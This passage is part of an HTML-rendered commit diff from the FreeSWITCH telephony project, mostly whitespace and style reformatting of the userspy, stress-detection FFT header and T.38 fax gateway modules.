</span><del>-        for (hi = switch_hash_first(NULL,globals.spy_hash);hi; hi = switch_hash_next(hi)){
-                switch_hash_this(hi,&key,NULL,&val);
-                stream->write_function(stream,"%s : %s\n",(char*)key,(const char*)val);
</del><ins>+        for (hi = switch_hash_first(NULL, globals.spy_hash); hi; hi = switch_hash_next(hi)) {
+                switch_hash_this(hi, &key, NULL, &val);
+                stream->write_function(stream, "%s : %s\n", (char *) key, (const char *) val);
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        stream->write_function(stream,"\n%d total spy\n",globals.spy_count);
</del><ins>+        stream->write_function(stream, "\n%d total spy\n", globals.spy_count);
</ins><span class="cx">         switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static void event_handler(switch_event_t* event)
</del><ins>+static void event_handler(switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="cx">         switch_channel_t *channel;
</span><del>-        char *username[2] = {0};
-        char* domain[2] = {0};
</del><ins>+        char *username[2] = { 0 };
+        char *domain[2] = { 0 };
</ins><span class="cx">         char key[512];
</span><del>-        char* uuid = NULL, *my_uuid = NULL;
</del><ins>+        char *uuid = NULL, *my_uuid = NULL;
</ins><span class="cx">         int i;
</span><span class="cx">
</span><span class="cx">         switch_thread_rwlock_rdlock(globals.spy_hash_lock);
</span><span class="lines">@@ -144,22 +144,22 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        username[0] = switch_event_get_header(event,"Caller-Username");
-        domain[0] = switch_event_get_header(event,"variable_domain_name");
-        domain[1] = switch_event_get_header(event,"variable_dialed_domain");
-        username[1] = switch_event_get_header(event,"variable_dialed_user");
</del><ins>+        username[0] = switch_event_get_header(event, "Caller-Username");
+        domain[0] = switch_event_get_header(event, "variable_domain_name");
+        domain[1] = switch_event_get_header(event, "variable_dialed_domain");
+        username[1] = switch_event_get_header(event, "variable_dialed_user");
</ins><span class="cx">
</span><span class="cx">         for (i = 0; i < 2; i++) {
</span><span class="cx">                 if (username[i] && domain[i]) {
</span><del>-                        switch_snprintf(key,sizeof(key),"%s@%s",username[i],domain[i]);        
</del><ins>+                        switch_snprintf(key, sizeof(key), "%s@%s", username[i], domain[i]);
</ins><span class="cx">
</span><del>-                        if ((uuid = switch_core_hash_find(globals.spy_hash,key))) {
</del><ins>+                        if ((uuid = switch_core_hash_find(globals.spy_hash, key))) {
</ins><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">         switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx">
</span><span class="cx">         if (!uuid) {
</span><span class="lines">@@ -169,64 +169,64 @@
</span><span class="cx">         session = switch_core_session_locate(uuid);
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,"UserSpy retrieved uuid %s for key %s, activating eavesdrop \n",uuid,key);
-        my_uuid = switch_event_get_header(event,"Unique-ID");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "UserSpy retrieved uuid %s for key %s, activating eavesdrop \n", uuid, key);
+        my_uuid = switch_event_get_header(event, "Unique-ID");
</ins><span class="cx">
</span><del>-        switch_channel_set_variable(channel,"spy_uuid",my_uuid);
</del><ins>+        switch_channel_set_variable(channel, "spy_uuid", my_uuid);
</ins><span class="cx">
</span><del>-        switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
-        switch_channel_set_flag(channel,CF_BREAK);
</del><ins>+        switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
+        switch_channel_set_flag(channel, CF_BREAK);
</ins><span class="cx">
</span><span class="cx">         switch_core_session_rwunlock(session);
</span><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #define USERSPY_SYNTAX "<user@domain> [uuid]"
</span><del>-SWITCH_STANDARD_APP(userspy_function)
</del><ins>+SWITCH_STANDARD_APP(userspy_function)
</ins><span class="cx"> {
</span><span class="cx">         int argc = 0;
</span><del>-        char* argv[2] = {0};
-        char* params = NULL;
</del><ins>+        char *argv[2] = { 0 };
+        char *params = NULL;
</ins><span class="cx">
</span><del>-        if (!zstr(data) && (params = switch_core_session_strdup(session,data))) {
</del><ins>+        if (!zstr(data) && (params = switch_core_session_strdup(session, data))) {
</ins><span class="cx">                 if ((argc = switch_separate_string(params, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 1) {
</span><span class="cx">
</span><span class="cx">                         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-                        char* uuid = switch_core_session_get_uuid(session);
</del><ins>+                        char *uuid = switch_core_session_get_uuid(session);
</ins><span class="cx">                         switch_status_t status;
</span><span class="cx">
</span><span class="cx">                         switch_thread_rwlock_wrlock(globals.spy_hash_lock);
</span><del>-                        if (switch_core_hash_find(globals.spy_hash,argv[0])) {
-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Spy already exists for %s\n",argv[0]);
-                                switch_channel_hangup(channel,SWITCH_CAUSE_NORMAL_CLEARING);
</del><ins>+                        if (switch_core_hash_find(globals.spy_hash, argv[0])) {
+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Spy already exists for %s\n", argv[0]);
+                                switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING);
</ins><span class="cx">                                 switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        status = switch_core_hash_insert(globals.spy_hash,argv[0],(void*) uuid);
</del><ins>+                        status = switch_core_hash_insert(globals.spy_hash, argv[0], (void *) uuid);
</ins><span class="cx">
</span><span class="cx">                         if ((status != SWITCH_STATUS_SUCCESS)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,"Cant insert to spy hash\n");
-                                switch_channel_hangup(channel,SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
-                                switch_thread_rwlock_unlock(globals.spy_hash_lock);                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cant insert to spy hash\n");
+                                switch_channel_hangup(channel, SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
+                                switch_thread_rwlock_unlock(globals.spy_hash_lock);
</ins><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         globals.spy_count++;
</span><span class="cx">                         switch_thread_rwlock_unlock(globals.spy_hash_lock);
</span><span class="cx">
</span><del>-                        switch_channel_set_private(channel,"_userspy_",(void*) argv[0]);
-                        switch_channel_add_state_handler(channel,&spy_state_handlers);
</del><ins>+                        switch_channel_set_private(channel, "_userspy_", (void *) argv[0]);
+                        switch_channel_add_state_handler(channel, &spy_state_handlers);
</ins><span class="cx">
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE,"UserSpy activated on %s \n",argv[0]);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "UserSpy activated on %s \n", argv[0]);
</ins><span class="cx">
</span><span class="cx">                         if (argv[1]) {
</span><del>-                                switch_channel_set_variable(channel,"spy_uuid",argv[1]);
-                                switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
</del><ins>+                                switch_channel_set_variable(channel, "spy_uuid", argv[1]);
+                                switch_channel_set_state(channel, CS_EXCHANGE_MEDIA);
</ins><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        switch_channel_set_state(channel,CS_PARK);
</del><ins>+                        switch_channel_set_state(channel, CS_PARK);
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx">                 return;
</span><span class="lines">@@ -244,15 +244,15 @@
</span><span class="cx">
</span><span class="cx">         globals.pool = pool;
</span><span class="cx">
</span><del>-        switch_core_hash_init(&globals.spy_hash,pool);
-        switch_thread_rwlock_create(&globals.spy_hash_lock,pool);
</del><ins>+        switch_core_hash_init(&globals.spy_hash, pool);
+        switch_thread_rwlock_create(&globals.spy_hash_lock, pool);
</ins><span class="cx">         globals.spy_count = 0;
</span><span class="cx">
</span><span class="cx">         switch_event_bind_removable(modname, SWITCH_EVENT_CHANNEL_BRIDGE, NULL, event_handler, NULL, &globals.node);
</span><del>-        
-        SWITCH_ADD_APP(app_interface,"userspy","Spy on a user constantly","Spy on a user constantly",userspy_function,USERSPY_SYNTAX,SAF_NONE);
-        SWITCH_ADD_API(api_interface,"userspy_show","Show current spies",dump_hash,"userspy_show");
-        
</del><ins>+
+        SWITCH_ADD_APP(app_interface, "userspy", "Spy on a user constantly", "Spy on a user constantly", userspy_function, USERSPY_SYNTAX, SAF_NONE);
+        SWITCH_ADD_API(api_interface, "userspy_show", "Show current spies", dump_hash, "userspy_show");
+
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -261,12 +261,12 @@
</span><span class="cx"> {
</span><span class="cx">         int sanity = 0;
</span><span class="cx">
</span><del>- while (globals.spy_count) {
- switch_cond_next();
- if (++sanity >= 60000) {
- break;
- }
- }
</del><ins>+        while (globals.spy_count) {
+                switch_cond_next();
+                if (++sanity >= 60000) {
+                        break;
+                }
+        }
</ins><span class="cx">
</span><span class="cx">         switch_event_unbind(&globals.node);
</span><span class="cx">         switch_core_hash_destroy(&globals.spy_hash);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_stressFFTRealh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_stress/FFTReal.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -14,7 +14,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> #if defined (FFTReal_CURRENT_HEADER)
</span><del>-        #error Recursive inclusion of FFTReal header file.
</del><ins>+#error Recursive inclusion of FFTReal header file.
</ins><span class="cx"> #endif
</span><span class="cx"> #define        FFTReal_CURRENT_HEADER
</span><span class="cx">
</span><span class="lines">@@ -25,89 +25,83 @@
</span><span class="cx">
</span><span class="cx"> #if defined (_MSC_VER)
</span><span class="cx"> #pragma pack (push, 8)
</span><del>-#endif        // _MSC_VER
</del><ins>+#endif // _MSC_VER
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-class        FFTReal
-{
</del><ins>+class FFTReal {
</ins><span class="cx">
</span><span class="cx"> /*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
</span><span class="cx">
</span><del>-public:
</del><ins>+ public:
</ins><span class="cx">
</span><span class="cx">         /* Change this typedef to use a different floating point type in your FFTs
</span><del>-                (i.e. float, double or long double). */
-        typedef float        flt_t;
</del><ins>+         (i.e. float, double or long double). */
+        typedef float flt_t;
</ins><span class="cx">
</span><del>-        explicit                        FFTReal (const long length);
-                                                ~FFTReal ();
-        void                                do_fft (flt_t f [], const flt_t x []) const;
-        void                                do_ifft (const flt_t f [], flt_t x []) const;
-        void                                rescale (flt_t x []) const;
</del><ins>+        explicit FFTReal(const long length);
+         ~FFTReal();
+        void do_fft(flt_t f[], const flt_t x[]) const;
+        void do_ifft(const flt_t f[], flt_t x[]) const;
+        void rescale(flt_t x[]) const;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> /*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
</span><span class="cx">
</span><del>-private:
</del><ins>+ private:
</ins><span class="cx">
</span><span class="cx">         /* Bit-reversed look-up table nested class */
</span><del>-        class BitReversedLUT
-        {
-        public:
-                explicit                        BitReversedLUT (const int nbr_bits);
-                                                        ~BitReversedLUT ();
-                const long *        get_ptr () const
-                {
</del><ins>+         class BitReversedLUT {
+         public:
+                explicit BitReversedLUT(const int nbr_bits);
+                 ~BitReversedLUT();
+                const long *get_ptr() const {
</ins><span class="cx">                         return (_ptr);
</span><del>-                }
-        private:
-                long *                        _ptr;
</del><ins>+         } private:
+                long *_ptr;
</ins><span class="cx">         };
</span><span class="cx">
</span><span class="cx">         /* Trigonometric look-up table nested class */
</span><del>-        class        TrigoLUT
-        {
-        public:
-                explicit                        TrigoLUT (const int nbr_bits);
-                                                        ~TrigoLUT ();
-                const flt_t        *        get_ptr (const int level) const
-                {
</del><ins>+        class TrigoLUT {
+         public:
+                explicit TrigoLUT(const int nbr_bits);
+                 ~TrigoLUT();
+                const flt_t *get_ptr(const int level) const {
</ins><span class="cx">                         return (_ptr + (1L << (level - 1)) - 4);
</span><span class="cx">                 };
</span><del>-        private:
-                flt_t        *                        _ptr;
</del><ins>+         private:
+                 flt_t *_ptr;
</ins><span class="cx">         };
</span><span class="cx">
</span><del>-        const BitReversedLUT        _bit_rev_lut;
-        const TrigoLUT        _trigo_lut;
-        const flt_t                _sqrt2_2;
-        const long                _length;
-        const int                _nbr_bits;
-        flt_t *                        _buffer_ptr;
</del><ins>+        const BitReversedLUT _bit_rev_lut;
+        const TrigoLUT _trigo_lut;
+        const flt_t _sqrt2_2;
+        const long _length;
+        const int _nbr_bits;
+        flt_t *_buffer_ptr;
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> /*\\\ FORBIDDEN MEMBER FUNCTIONS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
</span><span class="cx">
</span><del>-private:
</del><ins>+ private:
</ins><span class="cx">
</span><del>-                                                FFTReal (const FFTReal &other);
-        const FFTReal&        operator = (const FFTReal &other);
-        int                                operator == (const FFTReal &other);
-        int                                operator != (const FFTReal &other);
</del><ins>+        FFTReal(const FFTReal & other);
+        const FFTReal & operator =(const FFTReal & other);
+        int operator ==(const FFTReal & other);
+        int operator !=(const FFTReal & other);
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> #if defined (_MSC_VER)
</span><span class="cx"> #pragma pack (pop)
</span><del>-#endif        // _MSC_VER
</del><ins>+#endif // _MSC_VER
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-#endif        // FFTReal_HEADER_INCLUDED
</del><ins>+#endif // FFTReal_HEADER_INCLUDED
</ins><span class="cx">
</span><span class="cx"> #undef FFTReal_CURRENT_HEADER
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_stressmod_stresscpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_stress/mod_stress.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_t38gatewaymod_t38gatewayc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -54,40 +54,42 @@
</span><span class="cx">
</span><span class="cx"> /*! Type that holds codec information. */
</span><span class="cx"> typedef struct {
</span><del>- /*! The sampling rate of the audio stream. */
- int rate;
- /*! The number of channels. */
- int channels;
</del><ins>+        /*! The sampling rate of the audio stream. */
+        int rate;
+        /*! The number of channels. */
+        int channels;
</ins><span class="cx"> } t38gateway_codec_info_t;
</span><span class="cx">
</span><span class="cx"> /*! Type that holds session information pertinent to the t38gateway module. */
</span><span class="cx"> typedef struct {
</span><del>- /*! Internal FreeSWITCH session. */
- switch_core_session_t *session;
- /*! Codec information for the session. */
- t38gateway_codec_info_t t38gateway_codec;
- t38_gateway_state_t *t38;
- t38_core_state_t *t38_core;
- udptl_state_t *udptl;
</del><ins>+        /*! Internal FreeSWITCH session. */
+        switch_core_session_t *session;
+        /*! Codec information for the session. */
+        t38gateway_codec_info_t t38gateway_codec;
+        t38_gateway_state_t *t38;
+        t38_core_state_t *t38_core;
+        udptl_state_t *udptl;
</ins><span class="cx"> } t38gateway_session_info_t;
</span><span class="cx">
</span><span class="cx"> static int tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
</span><span class="cx"> {
</span><del>- t38gateway_session_info_t *t;
</del><ins>+        t38gateway_session_info_t *t;
</ins><span class="cx">
</span><del>- t = (t38gateway_session_info_t *) user_data;
- return 0;
</del><ins>+        t = (t38gateway_session_info_t *) user_data;
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> static int rx_packet_handler(void *user_data, const uint8_t *buf, int len, int seq_no)
</span><span class="cx"> {
</span><del>- t38gateway_session_info_t *t;
</del><ins>+        t38gateway_session_info_t *t;
</ins><span class="cx">
</span><del>- t = (t38gateway_session_info_t *) user_data;
- t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
- return 0;
</del><ins>+        t = (t38gateway_session_info_t *) user_data;
+        t38_core_rx_ifp_packet(t->t38_core, buf, len, seq_no);
+        return 0;
</ins><span class="cx"> }
</span><ins>+
</ins><span class="cx"> /*- End of function --------------------------------------------------------*/
</span><span class="cx">
</span><span class="cx"> /*! \brief The callback function that is called when new audio data becomes available
</span><span class="lines">@@ -98,39 +100,39 @@
</span><span class="cx"> * @param type The switch callback type.
</span><span class="cx"> * @return The success or failure of the function.
</span><span class="cx"> */
</span><del>-static switch_bool_t t38gateway_callback(switch_media_bug_t * bug, void *user_data, switch_abc_type_t type)
</del><ins>+static switch_bool_t t38gateway_callback(switch_media_bug_t *bug, void *user_data, switch_abc_type_t type)
</ins><span class="cx"> {
</span><del>- t38gateway_session_info_t *t38gateway_info;
- switch_codec_t *read_codec;
- switch_frame_t *frame;
- int16_t *amp;
</del><ins>+        t38gateway_session_info_t *t38gateway_info;
+        switch_codec_t *read_codec;
+        switch_frame_t *frame;
+        int16_t *amp;
</ins><span class="cx">
</span><del>- t38gateway_info = (t38gateway_session_info_t *) user_data;
- if (t38gateway_info == NULL) {
- return SWITCH_FALSE;
- }
</del><ins>+        t38gateway_info = (t38gateway_session_info_t *) user_data;
+        if (t38gateway_info == NULL) {
+                return SWITCH_FALSE;
+        }
</ins><span class="cx">
</span><del>- switch (type) {
- case SWITCH_ABC_TYPE_INIT:
- read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
- t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
- t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
- break;
- case SWITCH_ABC_TYPE_READ_PING:
- case SWITCH_ABC_TYPE_CLOSE:
- break;
- case SWITCH_ABC_TYPE_READ:
- frame = switch_core_media_bug_get_read_replace_frame(bug);
- amp = (int16_t *) frame->data;
- t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
- break;
- case SWITCH_ABC_TYPE_WRITE:
- case SWITCH_ABC_TYPE_READ_REPLACE:
- case SWITCH_ABC_TYPE_WRITE_REPLACE:
- break;
- }
</del><ins>+        switch (type) {
+        case SWITCH_ABC_TYPE_INIT:
+                read_codec = switch_core_session_get_read_codec(t38gateway_info->session);
+                t38gateway_info->t38gateway_codec.rate = read_codec->implementation->samples_per_second;
+                t38gateway_info->t38gateway_codec.channels = read_codec->implementation->number_of_channels;
+                break;
+        case SWITCH_ABC_TYPE_READ_PING:
+        case SWITCH_ABC_TYPE_CLOSE:
+                break;
+        case SWITCH_ABC_TYPE_READ:
+                frame = switch_core_media_bug_get_read_replace_frame(bug);
+                amp = (int16_t *) frame->data;
+                t38_gateway_rx(t38gateway_info->t38, amp, frame->samples);
+                break;
+        case SWITCH_ABC_TYPE_WRITE:
+        case SWITCH_ABC_TYPE_READ_REPLACE:
+        case SWITCH_ABC_TYPE_WRITE_REPLACE:
+                break;
+        }
</ins><span class="cx">
</span><del>- return SWITCH_TRUE;
</del><ins>+        return SWITCH_TRUE;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief FreeSWITCH module loading function
</span><span class="lines">@@ -140,19 +142,19 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_t38gateway_load)
</span><span class="cx"> {
</span><del>- switch_application_interface_t *app_interface;
- switch_api_interface_t *api_interface;
- /* connect my internal structure to the blank pointer passed to me */
- *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</del><ins>+        switch_application_interface_t *app_interface;
+        switch_api_interface_t *api_interface;
+        /* connect my internal structure to the blank pointer passed to me */
+        *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</ins><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway enabled\n");
</ins><span class="cx">
</span><del>- SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
</del><ins>+        SWITCH_ADD_APP(app_interface, "t38gateway", "T.38 gateway", "T.38 gateway", t38gateway_start_function, "[start] [stop]", SAF_NONE);
</ins><span class="cx">
</span><del>- SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
</del><ins>+        SWITCH_ADD_API(api_interface, "t38gateway", "T.38 gateway", t38gateway_api_main, T38GATEWAY_SYNTAX);
</ins><span class="cx">
</span><del>- /* indicate that the module should continue to be loaded */
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        /* indicate that the module should continue to be loaded */
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief FreeSWITCH application handler function.
</span><span class="lines">@@ -163,48 +165,48 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_STANDARD_APP(t38gateway_start_function)
</span><span class="cx"> {
</span><del>- switch_media_bug_t *bug;
- switch_status_t status;
- switch_channel_t *channel;
- t38gateway_session_info_t *t38gateway_info;
</del><ins>+        switch_media_bug_t *bug;
+        switch_status_t status;
+        switch_channel_t *channel;
+        t38gateway_session_info_t *t38gateway_info;
</ins><span class="cx">
</span><del>- if (session == NULL)
- return;
</del><ins>+        if (session == NULL)
+                return;
</ins><span class="cx">
</span><del>- channel = switch_core_session_get_channel(session);
</del><ins>+        channel = switch_core_session_get_channel(session);
</ins><span class="cx">
</span><del>- /* Is this channel already set? */
- bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
- /* If yes */
- if (bug != NULL) {
- /* If we have a stop remove audio bug */
- if (strcasecmp(data, "stop") == 0) {
- switch_channel_set_private(channel, "_t38gateway_", NULL);
- switch_core_media_bug_remove(session, &bug);
- return;
- }
</del><ins>+        /* Is this channel already set? */
+        bug = (switch_media_bug_t *) switch_channel_get_private(channel, "_t38gateway_");
+        /* If yes */
+        if (bug != NULL) {
+                /* If we have a stop remove audio bug */
+                if (strcasecmp(data, "stop") == 0) {
+                        switch_channel_set_private(channel, "_t38gateway_", NULL);
+                        switch_core_media_bug_remove(session, &bug);
+                        return;
+                }
</ins><span class="cx">
</span><del>- /* We have already started */
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</del><ins>+                /* We have already started */
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot run 2 at once on the same channel!\n");
</ins><span class="cx">
</span><del>- return;
- }
</del><ins>+                return;
+        }
</ins><span class="cx">
</span><del>- t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
</del><ins>+        t38gateway_info = (t38gateway_session_info_t *) switch_core_session_alloc(session, sizeof(t38gateway_session_info_t));
</ins><span class="cx">
</span><del>- t38gateway_info->session = session;
- t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
- t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
- t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</del><ins>+        t38gateway_info->session = session;
+        t38gateway_info->t38 = t38_gateway_init(NULL, tx_packet_handler, (void *) t38gateway_info);
+        t38gateway_info->t38_core = t38_gateway_get_t38_core_state(t38gateway_info->t38);
+        t38gateway_info->udptl = udptl_init(NULL, UDPTL_ERROR_CORRECTION_REDUNDANCY, 3, 3, rx_packet_handler, (void *) t38gateway_info);
</ins><span class="cx">
</span><del>- status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
</del><ins>+        status = switch_core_media_bug_add(session, t38gateway_callback, t38gateway_info, 0, SMBF_READ_STREAM, &bug);
</ins><span class="cx">
</span><del>- if (status != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
- return;
- }
</del><ins>+        if (status != SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Failure hooking to stream\n");
+                return;
+        }
</ins><span class="cx">
</span><del>- switch_channel_set_private(channel, "_t38gateway_", bug);
</del><ins>+        switch_channel_set_private(channel, "_t38gateway_", bug);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief Called when the module shuts down
</span><span class="lines">@@ -214,9 +216,9 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_t38gateway_shutdown)
</span><span class="cx"> {
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "T.38 gateway disabled\n");
</ins><span class="cx">
</span><del>- return SWITCH_STATUS_SUCCESS;
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*! \brief FreeSWITCH API handler function.
</span><span class="lines">@@ -228,110 +230,110 @@
</span><span class="cx"> */
</span><span class="cx"> SWITCH_STANDARD_API(t38gateway_api_main)
</span><span class="cx"> {
</span><del>- switch_core_session_t *t38gateway_session;
- switch_media_bug_t *bug;
- t38gateway_session_info_t *t38gateway_info;
- switch_channel_t *channel;
- switch_status_t status;
- int argc;
- char *argv[T38GATEWAY_PARAMS];
- char *ccmd;
- char *uuid;
- char *command;
</del><ins>+        switch_core_session_t *t38gateway_session;
+        switch_media_bug_t *bug;
+        t38gateway_session_info_t *t38gateway_info;
+        switch_channel_t *channel;
+        switch_status_t status;
+        int argc;
+        char *argv[T38GATEWAY_PARAMS];
+        char *ccmd;
+        char *uuid;
+        char *command;
</ins><span class="cx">
</span><del>- /* No command? Display usage */
- if (cmd == NULL) {
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- return SWITCH_STATUS_SUCCESS;
- }
</del><ins>+        /* No command? Display usage */
+        if (cmd == NULL) {
+                stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
+                return SWITCH_STATUS_SUCCESS;
+        }
</ins><span class="cx">
</span><del>- /* Duplicated contents of original string */
- ccmd = strdup(cmd);
- /* Separate the arguments */
- argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
</del><ins>+        /* Duplicated contents of original string */
+        ccmd = strdup(cmd);
+        /* Separate the arguments */
+        argc = switch_separate_string(ccmd, ' ', argv, T38GATEWAY_PARAMS);
</ins><span class="cx">
</span><del>- /* If we don't have the expected number of parameters
- * display usage */
- if (argc != T38GATEWAY_PARAMS) {
- stream->write_function(stream, "-USAGE: %s\n", T38GATEWAY_SYNTAX);
- switch_safe_free(ccmd);
- return SWITCH_STATUS_SUCCESS;
- }
